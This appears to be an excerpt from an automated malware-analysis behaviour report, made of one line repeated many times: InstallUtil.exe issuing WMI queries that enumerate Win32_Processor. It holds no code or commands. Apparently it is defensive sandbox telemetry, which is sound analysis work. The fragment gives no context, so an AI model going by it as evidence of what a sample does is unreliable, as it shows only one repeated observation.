Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
